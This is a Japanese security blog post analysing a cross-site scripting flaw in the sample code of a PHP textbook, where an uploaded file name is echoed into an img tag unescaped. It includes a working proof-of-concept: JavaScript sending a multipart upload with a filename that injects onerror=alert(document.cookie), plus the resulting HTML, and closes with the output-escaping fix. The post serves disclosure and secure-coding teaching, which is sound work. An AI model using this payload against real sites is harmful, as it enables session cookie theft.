2014年3月10日月曜日

よくわかるPHPの教科書 PHP5.5対応版のクロスサイト・スクリプティング

たにぐちまことさんの よくわかるPHPの教科書がこのたび改版されて、よくわかるPHPの教科書 【PHP5.5対応版】として出版されました。旧版はmysql関数を使ってSQL呼び出ししていましたが、mysql関数がPHP5.5にて非推奨となったための緊急対処的な内容となっているようです。つまり、従来mysql関数を呼び出していた箇所をmysqliの呼び出しに変更したというのが、主な変更点のようで、これ以外はあまり変更点は見あたりません。

既に、Amazonでは、熱烈な読者の方からの詳細のレビューが届いています。
神本御降臨!
言わずと知れたPHPプログラミング書籍のロングセラー。
2010年9月に発売された前作の改訂版。
PHPのバージョンも最新の5.5に対応、内容は前作と殆ど同じ。
少し前に前作を購入した方も本書を購入した方がいいでしょう。
【中略】
それにしても、帯の「3万人に読まれた定番の入門書が・・」では、この偉大な書籍にしては謙遜している気が。
せめて「3万人に愛された伝説の入門書が・・・」とか「3万人の運命を変えた史上最強の入門書が・・・」と
書いても良いのではないでしょうか。
プログラミングの入門書でこれだけ支持・絶大な人気の書籍は他にないのですから。
引用元
たにぐちさんの人気はすごいなぁとあらためて思いながら読んでいると、意外にも私の名前もありました。
どうも、現役のバックエンドエンジニア達の反応や評価がよくわからない・・・
どう思っているのでしょうか?気になるところです。
(購入者自身が納得すれば良い話なので、意味がないかもしれませんが)
また、改訂版の本書に対して徳丸先生からの書評も待ちたいところです
召喚されてしまいましたw

まだ網羅的には調べ切れていませんが、現時点で1箇所興味深いクロスサイト・スクリプティング(XSS)を見つけましたので紹介します。

XSSをどうやって見つけたか

私は脆弱性を見つける際には、ソースを見るよりも先に動かしてみることが多いのですが、この脆弱性はソースのgrepで見つけました。サンプルソースをダウンロードして、以下のgrepコマンドの結果を眺めました。
$ grep -r echo *
すると、1箇所HTMLエスケープしていない箇所がありました。
part5-2_sample/join/check.php:        <img src="../member_picture/<?php echo $_SESSION['join']['image']; ?>" width="100" height="100" alt="" />
$_SESSION['join']['image']をエスケープしないで表示しているので、この時点で「局所的にXSSが存在」と言って良いかと思います。

攻撃経路はあるか?

しかし、セッション変数がインプットですので、攻撃経路があるかどうかを確認して見ましょう。この変数は下記でセットされています(part5-2_sample/join/index.php)。
// 画像をアップロードする
$image = date('YmdHis') . $_FILES['image']['name'];
move_uploaded_file($_FILES['image']['tmp_name'], '../member_picture/' . $image);

$_SESSION['join'] = $_POST;
$_SESSION['join']['image'] = $image;
利用者がアップロードしたファイルのファイル名がソースになっていますね。
「ファイル名なのでHTMLエスケープしない」という例は割合見かける気がします。その背景として、以下の心理があるのかもしれません。
  • ファイル名には「<」や「>」は使えないのでXSSはできない
  • ファイルアップロードのフォームではファイル名を外部から指定できない
しかし、これらはいずれも正しくありません。
まず、Unix/Linux/Mac OSではファイル名として「<」や「>」を使うことができます。それに、「<」や「>」を使わないXSS攻撃も可能です。
また、ファイルアップロードのフォームにてファイル名を外部から指定することもできます。これについては、下記のエントリを参照下さい。
ということで、このXSSは攻撃経路がある、ということになります。

実証

このXSSが発現することを以下のPoCで確認しました。JavaScriptはXMLHttpRequest Level2を利用してファイル名を " onerror=alert(document.cookie) gif にセットしています。そして、末尾近くのiframe要素で、XSSのあるcheck.phpを呼び出します。
<body>
<script>
  // 以下は送信するHTTPリクエストボディの中身
  // \n\ は改行(\n) と 継続行(行末の\)を示す
  data = '\
----BNDRY\n\
Content-Disposition: form-data; name="name"\n\
\n\
e\n\
----BNDRY\n\
Content-Disposition: form-data; name="email"\n\
\n\
e@example.jp\n\
----BNDRY\n\
Content-Disposition: form-data; name="password"\n\
\n\
pass\n\
----BNDRY\n\
Content-Disposition: form-data; name="image"; filename="\\" onerror=\'alert(document.cookie)\' gif"\n\
Content-Type: image/gif\n\
\n\
GIF87a\n\
----BNDRY--\n\
';

  var req = new XMLHttpRequest();
  req.open('POST', 'http://example.jp/join/');
  req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
  req.withCredentials = true;
  req.send(data);
</script>
<iframe src="http://example.jp/join/check.php"></iframe>
</body>
生成されるimg要素は下記となります。src属性が「"」で閉じられ、onerror属性(イベント)が定義されています。
<img src="../member_picture/20140310092527" onerror='alert(document.cookie)' gif" width="100" height="100" alt="" />
画面は下記となり、確かにセッションクッキーが読み取られています。



対策

ここまで読んだ読者の中には、「こんなに高度な攻撃のことまで考慮しなければならないのか」と疑問を持った方がおられるかもしれませんが、そうではありません。攻撃経路があるかないかに関わらず、淡々と、HTML出力時にエスケープ処理を入れるだけで対策は終わりです。

すなわち、「高度なことを考慮する必要がある」ということではなく、「中途半端に高度なことを考えてしまったので対策漏れが生じた」と言えます。

この脆弱性は、攻撃には高度なワザが必要だが、対策は平凡、というありがちな例と言えるでしょう。局所的な対策をもれなく実施することが重要です。

0 件のコメント:

コメントを投稿

フォロワー

ブログ アーカイブ